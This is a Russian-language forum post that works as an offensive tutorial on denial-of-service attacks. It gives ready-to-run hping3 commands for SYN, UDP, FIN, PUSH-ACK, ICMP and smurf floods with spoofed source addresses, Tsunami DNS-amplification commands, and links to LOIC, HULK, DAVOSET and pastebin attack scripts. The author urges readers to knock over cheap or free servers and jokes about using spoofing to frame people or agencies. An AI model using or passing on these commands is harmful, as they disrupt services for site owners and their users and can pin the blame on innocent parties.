трактат о DoS-e | dos - flood attack

[Gidroponika]

<div class="bbWrapper">Всем привет, решил я поделится с Вами этими методиками и инструментами ибо, зае..ли эти китайские услуги, СОДА ,Малышева, глисты для похудения и всякого рода ..уета)) Те люди у которых не установлен (или лень его натянуть на браузер) <a href="https://ru.wikipedia.org/wiki/Adblock_Plus" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2FAdblock_Plus&amp;hash=0897fac717e3cfabd26b4defe29ac91e" rel="nofollow noopener">adblock</a>, они меня поймут и часто еще обращаются с просьбами положить сайты с педофилией(в луковице как правило) что я с успехом и делаю, где и Вам рекомендую оттачивать это &quot;не легкое&quot; ремесло..))<br /> <br /> И так что же что такое DOS атака подробно Вы узнаете <a href="https://ru.wikipedia.org/wiki/DoS-%D0%B0%D1%82%D0%B0%D0%BA%D0%B0" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2FDoS-%25D0%25B0%25D1%2582%25D0%25B0%25D0%25BA%25D0%25B0&amp;hash=6acfb3f8e61f9283d671af1ade22e54a" rel="nofollow noopener">здесь</a> от меня в двух словах DOS - это когда она ведется от одной машины то есть один на один DDOS - это когда от 2-ух и более типо &gt;BotNet Дедок, привет!))<br /> <br /> И так начнем с классики с утилиты которая меня в свое время очень поразила своим функционалом (не скажу каким) смысл этой атаки есть таков, что можно подставить любого человека или сами знаете какую силовую организацию в том что он(они) нападали на другую более серьезную организацию)) в общем веселая программа <a href="http://www.hping.org/hping3.html" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=http%3A%2F%2Fwww.hping.org%2Fhping3.html&amp;hash=c6eb54f4daf7683daccb203d7d5b6fd4" rel="nofollow noopener">hping3</a> которая с успехом проводит <a href="https://ru.wikipedia.org/wiki/SYN-%D1%84%D0%BB%D1%83%D0%B4" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fru.wikipedia.org%2Fwiki%2FSYN-%25D1%2584%25D0%25BB%25D1%2583%25D0%25B4&amp;hash=a096a9ecd26cbf7e1bad1c7e6c3e54d5" rel="nofollow noopener">SYN-флуд</a> на TCP -протокол соединения, а он как Вы знаете&lt;-(наверное) обладает трехсторонним рукопожатием.<br /> <br /> <div class="bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code"> <div class="bbCodeBlock-title"> Код: </div> <div class="bbCodeBlock-content" dir="ltr"> <pre class="bbCodeCode" dir="ltr" data-xf-init="code-block" data-lang=""><code>hping3 -S --flood -V -p TARGET_PORT TARGET_SITE hping3 -c 20000 -d 120 -S -w 64 -p TARGET_PORT --flood --rand-source TARGET_SITE</code></pre> </div> </div><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FUDP_flood_attack&amp;hash=c9ca474f26cd497c1a857d8bfa223dc4" rel="nofollow noopener">UDP-флуд</a><br /> <br /> <div class="bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code"> <div class="bbCodeBlock-title"> Код: </div> <div class="bbCodeBlock-content" dir="ltr"> <pre class="bbCodeCode" dir="ltr" data-xf-init="code-block" data-lang=""><code>hping3 --flood --rand-source --udp -p TARGET_PORT TARGET_IP</code></pre> </div> </div>Ну и старички помнят легенду, которая также проводит такие же атаки : TCP, UDP, HTTP.<br /> <br /> <div class="lbContainer lbContainer--inline " title="" data-xf-init="lightbox" data-lb-single-image="1" data-lb-container-zoom="1" data-lb-trigger=".js-lbImage-_xfUid-1-1742150195" data-lb-id="_xfUid-1-1742150195"> <div class="lbContainer-zoomer js-lbImage-_xfUid-1-1742150195" data-src="/proxy.php?image=https%3A%2F%2Ftelegra.ph%2Ffile%2F42fa38eb4db3557c16971.png&amp;hash=61231ed1f2e5bba84ac578b0b6c724b4" aria-label="Zoom"></div> <img src="/proxy.php?image=https%3A%2F%2Ftelegra.ph%2Ffile%2F42fa38eb4db3557c16971.png&amp;hash=61231ed1f2e5bba84ac578b0b6c724b4" data-url="https://telegra.ph/file/42fa38eb4db3557c16971.png" class="bbImage" height="" width="" data-zoom-target="1" style="" /> </div> <br /> <a href="https://sourceforge.net/projects/loic/" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fsourceforge.net%2Fprojects%2Floic%2F&amp;hash=19c94006142f39f0bf7b923dcb4a04dd" rel="nofollow noopener">скачать</a><br /> <br /> TCP_FIN-флуд это если атакующий только атакует сервер без TCP-соединения, пакет FIN будет отброшен, но сервер все равно будет выделять некоторые ресурсы для просмотра пакета, чтобы предотвратить избыточность и в скором времени он ляжет<br /> <br /> <div class="bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code"> <div class="bbCodeBlock-title"> Код: </div> <div class="bbCodeBlock-content" dir="ltr"> <pre class="bbCodeCode" dir="ltr" data-xf-init="code-block" data-lang=""><code>hping3 --flood --rand-source -F -p TARGET_PORT TARGET_IP</code></pre> </div> </div>PUSH _ACK-флуд это если сервер раздразнить этим флудом, он может обидеться и ваще перестать всех обслуживать)<br /> <br /> <br /> <div class="bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code"> <div class="bbCodeBlock-title"> Код: </div> <div class="bbCodeBlock-content" dir="ltr"> <pre class="bbCodeCode" dir="ltr" data-xf-init="code-block" data-lang=""><code>hping3 --flood --rand-source -PA -p TARGET_PORT TARGET_IP</code></pre> </div> </div>ICMP_IGMP-флуд это мало эффективная атака нужно проводить долго и не одному но все же укажу её, так это же трактат)<br /> <br /> <br /> <div class="bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code"> <div class="bbCodeBlock-title"> Код: </div> <div class="bbCodeBlock-content" dir="ltr"> <pre class="bbCodeCode" dir="ltr" data-xf-init="code-block" data-lang=""><code>hping3 --flood --rand-source -1 -p TARGET_PORT TARGET_IP</code></pre> </div> </div>SMURF-флуд это <i>Злоумышленник выберет некоторые промежуточные сайты в качестве усилителей, а затем отправит огромное количество запросов ICMP (ping) на эти промежуточные сайты для широковещательного IP-адреса. Таким образом, все исходные IP-адреса изменяются на целевые IP-адреса, которые передают эти пакеты хостам всех подсетей. Наконец, все ответы хоста отправляются обратно в цель.</i><br /> <br /> <div class="bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code"> <div class="bbCodeBlock-title"> Код: </div> <div class="bbCodeBlock-content" dir="ltr"> <pre class="bbCodeCode" dir="ltr" data-xf-init="code-block" data-lang=""><code>hping3 --icmp --spoof TARGET_IP BROADCAST_IP</code></pre> </div> </div>С это утилитой пожалуй все, но представлю Вам еще один инструмент:<br /> Tsunami - DNS Amplification Attack Tool - <i>Он предназначен для исследования и тестирования ваших брандмауэров, а также IDS / IPS. Не думайте об использовании этого инструмента для атаки. Это очень дорого из-за низкой производительности. Эффект может отличаться в зависимости от ширины полосы, количества сеансов и размера обратной связи от запроса домена, а также от мощности инструмента.</i> &lt;&lt;&lt;-- это перевод от <a href="https://www.infosec-ninjas.com/tsunami" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fwww.infosec-ninjas.com%2Ftsunami&amp;hash=6e2a87b92746b123cca6bd14c2333b28" rel="nofollow noopener">официального сайта</a> , но поверьте эта прожка достойна внимания!))<br /> <div class="bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code"> <div class="bbCodeBlock-title"> Код: </div> <div class="bbCodeBlock-content" dir="ltr"> <pre class="bbCodeCode" dir="ltr" data-xf-init="code-block" data-lang=""><code>./tsunami -o recursive_dns.txt -l 4 -e 172.0.0.0/8 ./tsunami -s TARGET_IP -n pentest.blog -p 3 -f recursive_dns.txt</code></pre> </div> </div><a href="https://pastebin.com/FFUX1Pmw" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fpastebin.com%2FFFUX1Pmw&amp;hash=a1511190443cb880b0e1c0f7dc344cf8" rel="nofollow noopener">и</a> на <a href="https://pastebin.com/xxm6QbmH" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fpastebin.com%2Fxxm6QbmH&amp;hash=20f7d52c1a832430173b29819011f051" rel="nofollow noopener">последок</a>, как <a href="https://pastebin.com/dbtWFxR9" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fpastebin.com%2FdbtWFxR9&amp;hash=b4030c40289301c2e3ea12c53249b1be" rel="nofollow noopener">же</a> без <a href="https://pastebin.com/t3s17ikH" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fpastebin.com%2Ft3s17ikH&amp;hash=d4ec5f934746aa668705c7b2ca3e1aa5" rel="nofollow noopener">плюшек</a> <a href="http://www.sectorix.com/2012/05/17/hulk-web-server-dos-tool/" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=http%3A%2F%2Fwww.sectorix.com%2F2012%2F05%2F17%2Fhulk-web-server-dos-tool%2F&amp;hash=0c4cf8c48d7996f5b7a3b5c631a4e61a" rel="nofollow noopener">от</a> меня!? <a href="https://pastebin.com/gVXF7R4X" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fpastebin.com%2FgVXF7R4X&amp;hash=8425a27a2608e175c32c99397d8924ec" rel="nofollow noopener">Все есть</a>! И дополню что <a href="https://sourceforge.net/projects/netstressng/" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fsourceforge.net%2Fprojects%2Fnetstressng%2F&amp;hash=53038f3fa340ddd14c9cf4fa22843a6d" rel="nofollow noopener">таких</a> <a href="http://www.perihel.at/sec/mz/" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=http%3A%2F%2Fwww.perihel.at%2Fsec%2Fmz%2F&amp;hash=df5a7c140eb49674f1b35a2c1ad746ea" rel="nofollow noopener">инструментов</a> полно в дистрибутиве <a href="https://blackarch.org/" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fblackarch.org%2F&amp;hash=259e0ddad48075d552158242f9ba2408" rel="nofollow noopener">BlackArch</a> 46 как видите.) на любой вкус и цвет.<br /> <div class="lbContainer lbContainer--inline " title="" data-xf-init="lightbox" data-lb-single-image="1" data-lb-container-zoom="1" data-lb-trigger=".js-lbImage-_xfUid-2-1742150195" data-lb-id="_xfUid-2-1742150195"> <div class="lbContainer-zoomer js-lbImage-_xfUid-2-1742150195" data-src="/proxy.php?image=https%3A%2F%2Ftelegra.ph%2Ffile%2Fedf161feb7f58e3fa8571.png&amp;hash=e3368df655068ae79d70203ab81a7d67" aria-label="Zoom"></div> <img src="/proxy.php?image=https%3A%2F%2Ftelegra.ph%2Ffile%2Fedf161feb7f58e3fa8571.png&amp;hash=e3368df655068ae79d70203ab81a7d67" data-url="https://telegra.ph/file/edf161feb7f58e3fa8571.png" class="bbImage" height="" width="" data-zoom-target="1" style="" /> </div> <br /> <a href="https://github.com/MustLive/DAVOSET.git" target="_blank" class="link link--external" data-proxy-href="/proxy.php?link=https%3A%2F%2Fgithub.com%2FMustLive%2FDAVOSET.git&amp;hash=8f0936cf01221cd0cd82239078ba2473" rel="nofollow noopener">DAVOSET</a><br /> <br /> Напутствие: &quot;Применяйте такого рода атаки в благородных целях!&quot; так как нормальный сервак Вам одному положить не удастся, а вот какой нить слабенький за пару долларов в месяц или вообще free, легко на которых как правило размещен всякого рода трэш и отчаянные попытки нажиться на простых людях.. в общем Вы меня надеюсь услышали!) Удачи!</div>